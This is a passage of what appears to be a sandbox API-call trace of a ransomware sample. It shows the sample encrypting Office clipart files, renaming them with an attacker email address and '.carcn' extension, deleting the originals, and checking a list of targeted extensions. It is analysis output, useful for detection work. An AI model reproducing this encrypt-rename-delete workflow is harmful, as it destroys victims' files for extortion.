1 [0263.343] SetEndOfFile (hFile=0x548) returned 1 [0263.344] CloseHandle (hObject=0x548) returned 1 [0263.352] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.352] SetEndOfFile (hFile=0x528) returned 1 [0263.355] CloseHandle (hObject=0x528) returned 1 [0263.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.357] lstrlenW (lpString=".doc") returned 4 [0263.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".docx") returned 5 [0263.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.357] lstrlenW (lpString=".pdf") returned 4 [0263.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".xls") returned 4 [0263.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.357] lstrlenW (lpString=".xlsx") returned 5 [0263.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.357] lstrlenW (lpString=".ppt") returned 4 [0263.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.357] lstrlenW (lpString=".zip") returned 4 [0263.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.357] lstrlenW (lpString=".rar") returned 4 [0263.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".bz2") returned 4 [0263.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.357] lstrlenW (lpString=".7z") returned 3 [0263.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.358] lstrlenW (lpString=".dbf") returned 4 [0263.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.358] lstrlenW (lpString=".1cd") returned 4 [0263.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.358] lstrlenW (lpString=".jpg") returned 4 [0263.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.358] lstrlenW (lpString=".doc") returned 4 [0263.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString=".docx") returned 5 [0263.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.358] lstrlenW (lpString=".pdf") returned 4 [0263.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString=".xls") returned 4 [0263.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.358] lstrlenW (lpString=".xlsx") returned 5 [0263.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.358] lstrlenW (lpString=".ppt") returned 4 [0263.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.359] lstrlenW (lpString=".zip") returned 4 [0263.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.359] lstrlenW (lpString=".rar") returned 4 [0263.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.359] lstrlenW (lpString=".bz2") returned 4 [0263.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.359] lstrlenW (lpString=".7z") returned 3 [0263.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.359] lstrlenW (lpString=".dbf") returned 4 [0263.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.359] lstrlenW (lpString=".1cd") returned 4 [0263.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0263.359] lstrlenW (lpString=".jpg") returned 4 [0263.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.359] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.359] lstrlenW (lpString="BD00141_.WMF") returned 12 [0263.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.360] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=26886) returned 1 [0263.360] CloseHandle (hObject=0x528) returned 1 [0263.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0263.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.361] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.361] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.362] GetLastError () returned 0x0 [0263.362] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x6906, lpOverlapped=0x0) returned 1 [0263.463] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6910, lpOverlapped=0x0) returned 1 [0263.464] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.464] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.464] SetEndOfFile (hFile=0x548) returned 1 [0263.464] CloseHandle (hObject=0x548) returned 1 [0263.468] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.468] SetEndOfFile (hFile=0x528) returned 1 [0263.470] CloseHandle (hObject=0x528) returned 1 [0263.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0263.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.471] lstrlenW (lpString=".doc") returned 4 [0263.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString=".docx") returned 5 [0263.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.472] lstrlenW (lpString=".pdf") returned 4 [0263.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString=".xls") returned 4 [0263.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.472] lstrlenW (lpString=".xlsx") returned 5 [0263.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.472] lstrlenW (lpString=".ppt") returned 4 [0263.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.472] lstrlenW (lpString=".zip") returned 4 [0263.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.472] lstrlenW (lpString=".rar") returned 4 [0263.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString=".bz2") returned 4 [0263.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString=".7z") returned 3 [0263.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.472] lstrlenW (lpString=".dbf") returned 4 [0263.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.472] lstrlenW (lpString=".1cd") returned 4 [0263.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.472] lstrlenW (lpString=".jpg") returned 4 [0263.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.472] lstrlenW (lpString=".doc") returned 4 [0263.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.472] lstrlenW (lpString=".docx") returned 5 [0263.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.473] lstrlenW (lpString=".pdf") returned 4 [0263.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.473] lstrlenW (lpString=".xls") returned 4 [0263.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.473] lstrlenW (lpString=".xlsx") returned 5 [0263.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.473] lstrlenW (lpString=".ppt") returned 4 [0263.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.473] lstrlenW (lpString=".zip") returned 4 [0263.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.473] lstrlenW (lpString=".rar") returned 4 [0263.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.473] lstrlenW (lpString=".bz2") returned 4 [0263.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.473] lstrlenW (lpString=".7z") returned 3 [0263.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.473] lstrlenW (lpString=".dbf") returned 4 [0263.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.473] lstrlenW (lpString=".1cd") returned 4 [0263.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0263.473] lstrlenW (lpString=".jpg") returned 4 [0263.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.473] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.473] lstrlenW (lpString="BD00155_.WMF") returned 12 [0263.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.474] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11636) returned 1 [0263.474] CloseHandle (hObject=0x528) returned 1 [0263.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0263.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.475] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.475] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.475] GetLastError () returned 0x0 [0263.475] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d74, lpOverlapped=0x0) returned 1 [0263.546] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0263.547] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.547] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.547] SetEndOfFile (hFile=0x548) returned 1 [0263.547] CloseHandle (hObject=0x548) returned 1 [0263.552] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.552] SetEndOfFile (hFile=0x528) returned 1 [0263.554] CloseHandle (hObject=0x528) returned 1 [0263.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0263.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.556] lstrlenW (lpString=".doc") returned 4 [0263.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.556] lstrlenW (lpString=".docx") returned 5 [0263.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.556] lstrlenW (lpString=".pdf") returned 4 [0263.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.556] lstrlenW (lpString=".xls") returned 4 [0263.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.556] lstrlenW (lpString=".xlsx") returned 5 [0263.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.556] lstrlenW (lpString=".ppt") returned 4 [0263.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.556] lstrlenW (lpString=".zip") returned 4 [0263.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.556] lstrlenW (lpString=".rar") returned 4 [0263.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.556] lstrlenW (lpString=".bz2") returned 4 [0263.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.556] lstrlenW (lpString=".7z") returned 3 [0263.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.556] lstrlenW (lpString=".dbf") returned 4 [0263.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.556] lstrlenW (lpString=".1cd") returned 4 [0263.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.557] lstrlenW (lpString=".jpg") returned 4 [0263.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.557] lstrlenW (lpString=".doc") returned 4 [0263.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.557] lstrlenW (lpString=".docx") returned 5 [0263.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0263.557] lstrlenW (lpString=".pdf") returned 4 [0263.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.557] lstrlenW (lpString=".xls") returned 4 [0263.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.557] lstrlenW (lpString=".xlsx") returned 5 [0263.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0263.557] lstrlenW (lpString=".ppt") returned 4 [0263.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.557] lstrlenW (lpString=".zip") returned 4 [0263.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.557] lstrlenW (lpString=".rar") returned 4 [0263.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.557] lstrlenW (lpString=".bz2") returned 4 [0263.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.557] lstrlenW (lpString=".7z") returned 3 [0263.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.557] lstrlenW (lpString=".dbf") returned 4 [0263.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.557] lstrlenW (lpString=".1cd") returned 4 [0263.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 68 [0263.557] lstrlenW (lpString=".jpg") returned 4 [0263.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.558] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0263.558] lstrlenW (lpString="BD00173_.WMF") returned 12 [0263.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.558] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=16180) returned 1 [0263.558] CloseHandle (hObject=0x528) returned 1 [0263.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0263.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0263.559] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.559] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0263.560] GetLastError () returned 0x0 [0263.560] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x3f34, lpOverlapped=0x0) returned 1 [0263.652] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3f40, lpOverlapped=0x0) returned 1 [0263.653] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.653] WriteFile (in: hFile=0x548, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0263.653] SetEndOfFile (hFile=0x548) returned 1 [0263.653] CloseHandle (hObject=0x548) returned 1 [0263.655] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.655] SetEndOfFile (hFile=0x528) returned 1 [0263.658] CloseHandle (hObject=0x528) returned 1 [0263.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 